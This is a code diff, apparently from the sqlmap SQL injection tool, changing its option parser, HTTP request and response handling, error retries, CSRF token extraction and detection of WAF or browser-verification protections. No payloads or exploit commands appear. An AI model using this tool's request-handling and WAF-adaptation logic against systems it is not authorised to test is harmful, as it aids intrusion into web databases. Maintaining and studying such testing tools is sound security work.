-                               help="First query output entry to retrieve")
+                               help="First dump table entry to retrieve")

        enumeration.add_option("--stop", dest="limitStop", type="int",
-                               help="Last query output entry to retrieve")
+                               help="Last dump table entry to retrieve")

        enumeration.add_option("--first", dest="firstChar", type="int",
                               help="First query output word character to retrieve")
@@ -617,9 +617,6 @@ def cmdLineParser(argv=None):
        general = OptionGroup(parser, "General", "These options can be used "
                             "to set some general working parameters")

-        #general.add_option("-x", dest="xmlFile",
-        #                    help="Dump the data into an XML file")
-
        general.add_option("-s", dest="sessionFile",
                            help="Load session from a stored (.sqlite) file")

@@ -637,6 +634,10 @@ def cmdLineParser(argv=None):
        general.add_option("--charset", dest="charset",
                            help="Force character encoding used for data retrieval")

+        general.add_option("--check-internet", dest="checkInternet",
+                            action="store_true",
+                            help="Check Internet connection before assessing the target")
+
        general.add_option("--crawl", dest="crawlDepth", type="int",
                            help="Crawl the website starting from the target URL")

@@ -652,8 +653,7 @@ def cmdLineParser(argv=None):

        general.add_option("--eta", dest="eta",
                            action="store_true",
-                            help="Display for each output the "
-                                 "estimated time of arrival")
+                            help="Display for each output the estimated time of arrival")

        general.add_option("--flush-session", dest="flushSession",
                            action="store_true",
@@ -667,6 +667,9 @@ def cmdLineParser(argv=None):
                            action="store_true",
                            help="Ignore query results stored in session file")

+        general.add_option("--har", dest="harFile",
+                           help="Log all HTTP traffic into a HAR file")
+
        general.add_option("--hex", dest="hexConvert",
                            action="store_true",
                            help="Use DBMS hex function(s) for data retrieval")
@@ -738,10 +741,6 @@ def cmdLineParser(argv=None):
                                  action="store_true",
                                  help="Work in offline mode (only use session data)")

-        miscellaneous.add_option("--page-rank", dest="pageRank",
-                                  action="store_true",
-                                  help="Display page rank (PR) for Google dork results")
-
        miscellaneous.add_option("--purge-output", dest="purgeOutput",
                                  action="store_true",
                                  help="Safely remove all content from output directory")
@@ -760,6 +759,9 @@ def cmdLineParser(argv=None):
        miscellaneous.add_option("--tmp-dir", dest="tmpDir",
                                  help="Local directory for storing temporary files")

+        miscellaneous.add_option("--web-root", dest="webRoot",
+                                  help="Web server document root directory (e.g. \"/var/www\")")
+
        miscellaneous.add_option("--wizard", dest="wizard",
                                  action="store_true",
                                  help="Simple wizard interface for beginner users")
@@ -771,15 +773,18 @@ def cmdLineParser(argv=None):
        parser.add_option("--murphy-rate", dest="murphyRate", type="int",
                          help=SUPPRESS_HELP)

-        parser.add_option("--pickled-options", dest="pickledOptions",
-                          help=SUPPRESS_HELP)
-
        parser.add_option("--disable-precon", dest="disablePrecon", action="store_true",
                          help=SUPPRESS_HELP)

+        parser.add_option("--disable-stats", dest="disableStats", action="store_true",
+                          help=SUPPRESS_HELP)
+
        parser.add_option("--profile", dest="profile", action="store_true",
                          help=SUPPRESS_HELP)

+        parser.add_option("--force-dbms", dest="forceDbms",
+                          help=SUPPRESS_HELP)
+
        parser.add_option("--force-dns", dest="forceDns", action="store_true",
                          help=SUPPRESS_HELP)

@@ -797,6 +802,14 @@ def cmdLineParser(argv=None):

        parser.add_option("--run-case", dest="runCase", help=SUPPRESS_HELP)

+        # API options
+        parser.add_option("--api", dest="api", action="store_true",
+                          help=SUPPRESS_HELP)
+
+        parser.add_option("--taskid", dest="taskid", help=SUPPRESS_HELP)
+
+        parser.add_option("--database", dest="database", help=SUPPRESS_HELP)
+
        parser.add_option_group(target)
        parser.add_option_group(request)
        parser.add_option_group(optimization)
@@ -837,8 +850,9 @@ def cmdLineParser(argv=None):
        advancedHelp = True
        extraHeaders = []

+        # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
        for arg in argv:
-            _.append(getUnicode(arg, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING))
+            _.append(getUnicode(arg, encoding=sys.stdin.encoding))

        argv = _
        checkDeprecatedOptions(argv)
@@ -961,7 +975,7 @@ def cmdLineParser(argv=None):

        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, \
            args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, \
-            args.purgeOutput, args.pickledOptions, args.sitemapUrl)):
+            args.purgeOutput, args.sitemapUrl)):
            errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), "
            errMsg += "use -h for basic or -hh for advanced help\n"
            parser.error(errMsg)
@@ -41,8 +41,7 @@ def parseSitemap(url, retVal=None):
            if url.endswith(".xml") and "sitemap" in url.lower():
                if kb.followSitemapRecursion is None:
                    message = "sitemap recursion detected. Do you want to follow? [y/N] "
-                    test = readInput(message, default="N")
-                    kb.followSitemapRecursion = test[0] in ("y", "Y")
+                    kb.followSitemapRecursion = readInput(message, default='N', boolean=True)
                if kb.followSitemapRecursion:
                    parseSitemap(url, retVal)
            else:
@@ -46,7 +46,7 @@ from lib.utils.htmlentities import htmlEntities
 from thirdparty.chardet import detect
 from thirdparty.odict.odict import OrderedDict

-def forgeHeaders(items=None):
+def forgeHeaders(items=None, base=None):
    """
    Prepare HTTP Cookie, HTTP User-Agent and HTTP Referer headers to use when performing
    the HTTP requests
@@ -58,7 +58,7 @@ def forgeHeaders(items=None):
        if items[_] is None:
            del items[_]

-    headers = OrderedDict(conf.httpHeaders)
+    headers = OrderedDict(base or conf.httpHeaders)
    headers.update(items.items())

    class _str(str):
@@ -95,16 +95,16 @@ def forgeHeaders(items=None):
                if cookie.domain_specified and not conf.hostname.endswith(cookie.domain):
                    continue

-                if ("%s=" % getUnicode(cookie.name)) in headers[HTTP_HEADER.COOKIE]:
+                if ("%s=" % getUnicode(cookie.name)) in getUnicode(headers[HTTP_HEADER.COOKIE]):
                    if conf.loadCookies:
                        conf.httpHeaders = filter(None, ((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders))
                    elif kb.mergeCookies is None:
                        message = "you provided a HTTP %s header value. " % HTTP_HEADER.COOKIE
                        message += "The target URL provided its own cookies within "
                        message += "the HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE
-                        message += "Do you want to merge them in futher requests? [Y/n] "
-                        _ = readInput(message, default="Y")
-                        kb.mergeCookies = not _ or _[0] in ("y", "Y")
+                        message += "Do you want to merge them in further requests? [Y/n] "
+
+                        kb.mergeCookies = readInput(message, default='Y', boolean=True)

                    if kb.mergeCookies and kb.injection.place != PLACE.COOKIE:
                        _ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), x)
@@ -123,7 +123,7 @@ def forgeHeaders(items=None):

    return headers

-def parseResponse(page, headers):
+def parseResponse(page, headers, status=None):
    """
    @param page: the page to parse to feed the knowledge base htmlFp
    (back-end DBMS fingerprint based upon DBMS error messages return
@@ -135,7 +135,7 @@ def parseResponse(page, headers):
        headersParser(headers)

    if page:
-        htmlParser(page)
+        htmlParser(page if not status else "%s\n\n%s" % (status, page))

@cachedmethod
 def checkCharEncoding(encoding, warn=True):
@@ -155,7 +155,7 @@ def checkCharEncoding(encoding, warn=True):
        return encoding

    # Reference: http://www.destructor.de/charsets/index.htm
-    translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8",  "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"}
+    translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8",  "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"}

    for delimiter in (';', ',', '('):
        if delimiter in encoding:
@@ -168,6 +168,8 @@ def checkCharEncoding(encoding, warn=True):
        encoding = encoding.replace("8858", "8859")  # iso-8858 -> iso-8859
    elif "8559" in encoding:
        encoding = encoding.replace("8559", "8859")  # iso-8559 -> iso-8859
+    elif "8895" in encoding:
+        encoding = encoding.replace("8895", "8859")  # iso-8895 -> iso-8859
    elif "5889" in encoding:
        encoding = encoding.replace("5889", "8859")  # iso-5889 -> iso-8859
    elif "5589" in encoding:
@@ -202,7 +204,7 @@ def checkCharEncoding(encoding, warn=True):
    # Reference: http://philip.html5.org/data/charsets-2.html
    if encoding in translate:
        encoding = translate[encoding]
-    elif encoding in ("null", "{charset}", "*") or not re.search(r"\w", encoding):
+    elif encoding in ("null", "{charset}", "charset", "*") or not re.search(r"\w", encoding):
        return None

    # Reference: http://www.iana.org/assignments/character-sets
@@ -338,12 +340,12 @@ def decodePage(page, contentEncoding, contentType):

    return page

-def processResponse(page, responseHeaders):
+def processResponse(page, responseHeaders, status=None):
    kb.processResponseCounter += 1

    page = page or ""

-    parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None)
+    parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None, status)

    if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
        kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page)
@@ -366,11 +368,20 @@ def processResponse(page, responseHeaders):
                        continue
                    else:
                        msg = "do you want to automatically adjust the value of '%s'? [y/N]" % name
-                        if readInput(msg, default='N').strip().upper() != 'Y':
+
+                        if not readInput(msg, default='N', boolean=True):
                            continue
+
                        conf.paramDict[PLACE.POST][name] = value
                conf.parameters[PLACE.POST] = re.sub("(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % re.escape(value), conf.parameters[PLACE.POST])

+    if not kb.browserVerification and re.search(r"(?i)browser.?verification", page or ""):
+        kb.browserVerification = True
+        warnMsg = "potential browser verification protection mechanism detected"
+        if re.search(r"(?i)CloudFlare", page):
+            warnMsg += " (CloudFlare)"
+        singleTimeWarnMessage(warnMsg)
+
    if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""):
        for match in re.finditer(r"(?si)<form.+?</form>", page):
            if re.search(r"(?i)captcha", match.group(0)):
@@ -144,6 +144,9 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
            kb.matchRatio = ratio
            logger.debug("setting match ratio for current parameter to %.3f" % kb.matchRatio)

+    if kb.testMode:
+        threadData.lastComparisonRatio = ratio
+
    # If it has been requested to return the ratio and not a comparison
    # response
    if getRatioValue:
@@ -81,7 +81,6 @@ from lib.core.exception import SqlmapTokenException
 from lib.core.exception import SqlmapValueException
 from lib.core.settings import ASTERISK_MARKER
 from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
-from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
 from lib.core.settings import DEFAULT_CONTENT_TYPE
 from lib.core.settings import DEFAULT_COOKIE_DELIMITER
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
@@ -105,6 +104,7 @@ from lib.core.settings import RANDOM_STRING_MARKER
 from lib.core.settings import REPLACEMENT_MARKER
 from lib.core.settings import TEXT_CONTENT_TYPE_REGEX
 from lib.core.settings import UNENCODED_ORIGINAL_VALUE
+from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import URI_HTTP_HEADER
 from lib.core.settings import WARN_TIME_STDEV
 from lib.request.basic import decodePage
@@ -146,9 +146,9 @@ class Connect(object):
        if kb.testMode and kb.previousMethod == PAYLOAD.METHOD.TIME:
            # timed based payloads can cause web server unresponsiveness
            # if the injectable piece of code is some kind of JOIN-like query
-            warnMsg = "most probably web server instance hasn't recovered yet "
+            warnMsg = "most likely web server instance hasn't recovered yet "
            warnMsg += "from previous timed based payload. If the problem "
-            warnMsg += "persists please wait for few minutes and rerun "
+            warnMsg += "persists please wait for a few minutes and rerun "
            warnMsg += "without flag 'T' in option '--technique' "
            warnMsg += "(e.g. '--flush-session --technique=BEUS') or try to "
            warnMsg += "lower the value of option '--time-sec' (e.g. '--time-sec=2')"
@@ -222,6 +222,8 @@ class Connect(object):
        the target URL page content
        """

+        start = time.time()
+
        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)

@@ -256,6 +258,7 @@ class Connect(object):
        refreshing = kwargs.get("refreshing",       False)
        retrying = kwargs.get("retrying",           False)
        crawling = kwargs.get("crawling",           False)
+        checking = kwargs.get("checking",           False)
        skipRead = kwargs.get("skipRead",           False)

        if multipart:
@@ -277,13 +280,17 @@ class Connect(object):
        # url splitted with space char while urlencoding it in the later phase
        url = url.replace(" ", "%20")

+        if "://" not in url:
+            url = "http://%s" % url
+
        conn = None
-        code = None
        page = None
+        code = None
+        status = None

        _ = urlparse.urlsplit(url)
-        requestMsg = u"HTTP request [#%d]:\n%s " % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
-        requestMsg += ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) if not any((refreshing, crawling)) else url
+        requestMsg = u"HTTP request [#%d]:\r\n%s " % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
+        requestMsg += getUnicode(("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) if not any((refreshing, crawling, checking)) else url)
        responseMsg = u"HTTP response "
        requestHeaders = u""
        responseHeaders = None
@@ -305,13 +312,13 @@ class Connect(object):
                    params = urlencode(params)
                    url = "%s?%s" % (url, params)

-            elif any((refreshing, crawling)):
+            elif any((refreshing, crawling, checking)):
                pass

            elif target:
                if conf.forceSSL and urlparse.urlparse(url).scheme != "https":
-                    url = re.sub("\Ahttp:", "https:", url, re.I)
-                    url = re.sub(":80/", ":443/", url, re.I)
+                    url = re.sub("(?i)\Ahttp:", "https:", url)
+                    url = re.sub("(?i):80/", ":443/", url)

                if PLACE.GET in conf.parameters and not get:
                    get = conf.parameters[PLACE.GET]
@@ -374,16 +381,10 @@ class Connect(object):

            # Reset header values to original in case of provided request file
            if target and conf.requestFile:
-                headers = OrderedDict(conf.httpHeaders)
-                if cookie:
-                    headers[HTTP_HEADER.COOKIE] = cookie
+                headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie})

            if auxHeaders:
-                for key, value in auxHeaders.items():
-                    for _ in headers.keys():
-                        if _.upper() == key.upper():
-                            del headers[_]
-                    headers[key] = value
+                headers = forgeHeaders(auxHeaders, headers)

            for key, value in headers.items():
                del headers[key]
@@ -409,13 +410,13 @@ class Connect(object):
                responseHeaders = _(ws.getheaders())
                responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]

-                requestHeaders += "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
-                requestMsg += "\n%s" % requestHeaders
+                requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
+                requestMsg += "\r\n%s" % requestHeaders

                if post is not None:
-                    requestMsg += "\n\n%s" % getUnicode(post)
+                    requestMsg += "\r\n\r\n%s" % getUnicode(post)

-                requestMsg += "\n"
+                requestMsg += "\r\n"

                threadData.lastRequestMsg = requestMsg

@@ -428,26 +429,26 @@ class Connect(object):
                else:
                    req = urllib2.Request(url, post, headers)

-                requestHeaders += "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()])
+                requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()])

                if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                    conf.cj._policy._now = conf.cj._now = int(time.time())
                    cookies = conf.cj._cookies_for_request(req)
-                    requestHeaders += "\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))
+                    requestHeaders += "\r\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))

                if post is not None:
                    if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH):
-                        requestHeaders += "\n%s: %d" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))
+                        requestHeaders += "\r\n%s: %d" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))

                if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
-                    requestHeaders += "\n%s: %s" % (HTTP_HEADER.CONNECTION, "close" if not conf.keepAlive else "keep-alive")
+                    requestHeaders += "\r\n%s: %s" % (HTTP_HEADER.CONNECTION, "close" if not conf.keepAlive else "keep-alive")

-                requestMsg += "\n%s" % requestHeaders
+                requestMsg += "\r\n%s" % requestHeaders

                if post is not None:
-                    requestMsg += "\n\n%s" % getUnicode(post)
+                    requestMsg += "\r\n\r\n%s" % getUnicode(post)

-                requestMsg += "\n"
+                requestMsg += "\r\n"

                if not multipart:
                    threadData.lastRequestMsg = requestMsg
@@ -483,11 +484,16 @@ class Connect(object):
                else:
                    page = Connect._connReadProxy(conn) if not skipRead else None

-                code = code or (conn.code if conn else None)
-                responseHeaders = conn.info()
-                responseHeaders[URI_HTTP_HEADER] = conn.geturl()
+                if conn:
+                    code = conn.code
+                    responseHeaders = conn.info()
+                    responseHeaders[URI_HTTP_HEADER] = conn.geturl()
+                else:
+                    code = None
+                    responseHeaders = {}
+
                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
-                status = getUnicode(conn.msg)
+                status = getUnicode(conn.msg) if conn else None

            kb.connErrorCounter = 0

@@ -506,9 +512,8 @@ class Connect(object):
                        msg += "(redirect like response common to login pages). "
                        msg += "Do you want to apply the refresh "
                        msg += "from now on (or stay on the original page)? [Y/n]"
-                        choice = readInput(msg, default="Y")

-                        kb.alwaysRefresh = choice not in ("n", "N")
+                        kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)

                    if kb.alwaysRefresh:
                        if re.search(r"\Ahttps?://", refresh, re.I):
@@ -537,10 +542,22 @@ class Connect(object):
                    warnMsg = "problem occurred during connection closing ('%s')" % getSafeExString(ex)
                    logger.warn(warnMsg)

+        except SqlmapConnectionException, ex:
+            if conf.proxyList and not kb.threadException:
+                warnMsg = "unable to connect to the target URL ('%s')" % ex
+                logger.critical(warnMsg)
+                threadData.retriesCount = conf.retries
+                return Connect._retryProxy(**kwargs)
+            else:
+                raise
+
        except urllib2.HTTPError, ex:
            page = None
            responseHeaders = None

+            if checking:
+                return None, None, None
+
            try:
                page = ex.read() if not skipRead else None
                responseHeaders = ex.info()
@@ -559,63 +576,65 @@ class Connect(object):
                page = page if isinstance(page, unicode) else getUnicode(page)

            code = ex.code
+            status = getUnicode(ex.msg)

            kb.originalCode = kb.originalCode or code
-            threadData.lastHTTPError = (threadData.lastRequestUID, code)
+            threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
            kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1

-            status = getUnicode(ex.msg)
-            responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, status)
+            responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
-                logHeaders = "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
+                logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])

-            logHTTPTraffic(requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]))
+            logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time())

            skipLogTraffic = True

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
-                responseMsg += "%s\n\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE])
+                responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

-            if ex.code == httplib.UNAUTHORIZED and not conf.ignore401:
-                errMsg = "not authorized, try to provide right HTTP "
-                errMsg += "authentication type and valid credentials (%d)" % code
-                raise SqlmapConnectionException(errMsg)
-            elif ex.code == httplib.NOT_FOUND:
-                if raise404:
-                    errMsg = "page not found (%d)" % code
+            if ex.code != conf.ignoreCode:
+                if ex.code == httplib.UNAUTHORIZED:
+                    errMsg = "not authorized, try to provide right HTTP "
+                    errMsg += "authentication type and valid credentials (%d)" % code
                    raise SqlmapConnectionException(errMsg)
-                else:
-                    debugMsg = "page not found (%d)" % code
-                    singleTimeLogMessage(debugMsg, logging.DEBUG)
-                    processResponse(page, responseHeaders)
-            elif ex.code == httplib.GATEWAY_TIMEOUT:
-                if ignoreTimeout:
-                    return None if not conf.ignoreTimeouts else "", None, None
-                else:
-                    warnMsg = "unable to connect to the target URL (%d - %s)" % (ex.code, httplib.responses[ex.code])
-                    if threadData.retriesCount < conf.retries and not kb.threadException:
-                        warnMsg += ". sqlmap is going to retry the request"
-                        logger.critical(warnMsg)
-                        return Connect._retryProxy(**kwargs)
-                    elif kb.testMode:
-                        logger.critical(warnMsg)
-                        return None, None, None
+                elif ex.code == httplib.NOT_FOUND:
+                    if raise404:
+                        errMsg = "page not found (%d)" % code
+                        raise SqlmapConnectionException(errMsg)
                    else:
-                        raise SqlmapConnectionException(warnMsg)
-            else:
-                debugMsg = "got HTTP error code: %d (%s)" % (code, status)
-                logger.debug(debugMsg)
+                        debugMsg = "page not found (%d)" % code
+                        singleTimeLogMessage(debugMsg, logging.DEBUG)
+                elif ex.code == httplib.GATEWAY_TIMEOUT:
+                    if ignoreTimeout:
+                        return None if not conf.ignoreTimeouts else "", None, None
+                    else:
+                        warnMsg = "unable to connect to the target URL (%d - %s)" % (ex.code, httplib.responses[ex.code])
+                        if threadData.retriesCount < conf.retries and not kb.threadException:
+                            warnMsg += ". sqlmap is going to retry the request"
+                            logger.critical(warnMsg)
+                            return Connect._retryProxy(**kwargs)
+                        elif kb.testMode:
+                            logger.critical(warnMsg)
+                            return None, None, None
+                        else:
+                            raise SqlmapConnectionException(warnMsg)
+                else:
+                    debugMsg = "got HTTP error code: %d (%s)" % (code, status)
+                    logger.debug(debugMsg)

-        except (urllib2.URLError, socket.error, socket.timeout, httplib.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError):
+        except (urllib2.URLError, socket.error, socket.timeout, httplib.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError):
            tbMsg = traceback.format_exc()

-            if "no host given" in tbMsg:
+            if checking:
+                return None, None, None
+            elif "no host given" in tbMsg:
                warnMsg = "invalid URL address used (%s)" % repr(url)
                raise SqlmapSyntaxException(warnMsg)
            elif "forcibly closed" in tbMsg or "Connection is already closed" in tbMsg:
@@ -630,7 +649,17 @@ class Connect(object):

                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                    singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is dropping 'suspicious' requests")
+                    kb.droppingRequests = True
                warnMsg = "connection timed out to the target URL"
+            elif "Connection reset" in tbMsg:
+                if not conf.disablePrecon:
+                    singleTimeWarnMessage("turning off pre-connect mechanism because of connection reset(s)")
+                    conf.disablePrecon = True
+
+                if kb.testMode:
+                    singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is resetting 'suspicious' requests")
+                    kb.droppingRequests = True
+                warnMsg = "connection reset to the target URL"
            elif "URLError" in tbMsg or "error" in tbMsg:
                warnMsg = "unable to connect to the target URL"
                match = re.search(r"Errno \d+\] ([^>]+)", tbMsg)
@@ -638,6 +667,8 @@ class Connect(object):
                    warnMsg += " ('%s')" % match.group(1).strip()
            elif "NTLM" in tbMsg:
                warnMsg = "there has been a problem with NTLM authentication"
+            elif "Invalid header name" in tbMsg:  # (e.g. PostgreSQL ::Text payload)
+                return None, None, None
            elif "BadStatusLine" in tbMsg:
                warnMsg = "connection dropped or unknown HTTP "
                warnMsg += "status code received"
@@ -657,6 +688,9 @@ class Connect(object):
            if "BadStatusLine" not in tbMsg and any((conf.proxy, conf.tor)):
                warnMsg += " or proxy"

+            if silent:
+                return None, None, None
+
            with kb.locks.connError:
                kb.connErrorCounter += 1

@@ -664,14 +698,13 @@ class Connect(object):
                    message = "there seems to be a continuous problem with connection to the target. "
                    message += "Are you sure that you want to continue "
                    message += "with further target testing? [y/N] "
-                    kb.connErrorChoice = readInput(message, default="N") in ("Y", "y")
+
+                    kb.connErrorChoice = readInput(message, default='N', boolean=True)

                if kb.connErrorChoice is False:
                    raise SqlmapConnectionException(warnMsg)

-            if silent:
-                return None, None, None
-            elif "forcibly closed" in tbMsg:
+            if "forcibly closed" in tbMsg:
                logger.critical(warnMsg)
                return None, None, None
            elif ignoreTimeout and any(_ in tbMsg for _ in ("timed out", "IncompleteRead")):
@@ -698,7 +731,7 @@ class Connect(object):
                    page = getUnicode(page)
            socket.setdefaulttimeout(conf.timeout)

-        processResponse(page, responseHeaders)
+        processResponse(page, responseHeaders, status)

        if conn and getattr(conn, "redurl", None):
            _ = urlparse.urlsplit(conn.redurl)
@@ -710,20 +743,20 @@ class Connect(object):
                requestMsg = re.sub("(?i)Content-length: \d+\n", "", requestMsg)
                requestMsg = re.sub("(?s)\n\n.+", "\n", requestMsg)

-            responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, conn.code, status)
+            responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, conn.code, status)
        else:
-            responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, status)
+            responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, status)

        if responseHeaders:
-            logHeaders = "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
+            logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])

        if not skipLogTraffic:
-            logHTTPTraffic(requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]))
+            logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time())

        if conf.verbose <= 5:
            responseMsg += getUnicode(logHeaders)
        elif conf.verbose > 5:
-            responseMsg += "%s\n\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE])
+            responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE])

        if not multipart:
            logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
@@ -820,8 +853,7 @@ class Connect(object):
                    if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE:
                        if kb.cookieEncodeChoice is None:
                            msg = "do you want to URL encode cookie values (implementation specific)? %s" % ("[Y/n]" if not conf.url.endswith(".aspx") else "[y/N]")  # Reference: https://support.microsoft.com/en-us/kb/313282
-                            choice = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N')
-                            kb.cookieEncodeChoice = choice.upper().strip() == "Y"
+                            kb.cookieEncodeChoice = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N', boolean=True)
                        if not kb.cookieEncodeChoice:
                            skip = True

@@ -873,7 +905,7 @@ class Connect(object):
            post = value

        if PLACE.CUSTOM_POST in conf.parameters:
-            post = conf.parameters[PLACE.CUSTOM_POST].replace(CUSTOM_INJECTION_MARK_CHAR, "") if place != PLACE.CUSTOM_POST or not value else value
+            post = conf.parameters[PLACE.CUSTOM_POST].replace(kb.customInjectionMark, "") if place != PLACE.CUSTOM_POST or not value else value
            post = post.replace(ASTERISK_MARKER, '*') if post else post

        if PLACE.COOKIE in conf.parameters:
@@ -912,12 +944,14 @@ class Connect(object):
                return retVal

            page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
-            match = re.search(r"<input[^>]+name=[\"']?%s[\"']?\s[^>]*value=(\"([^\"]+)|'([^']+)|([^ >]+))" % re.escape(conf.csrfToken), page or "")
-            token = (match.group(2) or match.group(3) or match.group(4)) if match else None
+            token = extractRegexResult(r"(?i)<input[^>]+\bname=[\"']?%s[\"']?[^>]*\bvalue=(?P<result>(\"([^\"]+)|'([^']+)|([^ >]+)))" % re.escape(conf.csrfToken), page or "")

            if not token:
-                match = re.search(r"%s[\"']:[\"']([^\"']+)" % re.escape(conf.csrfToken), page or "")
-                token = match.group(1) if match else None
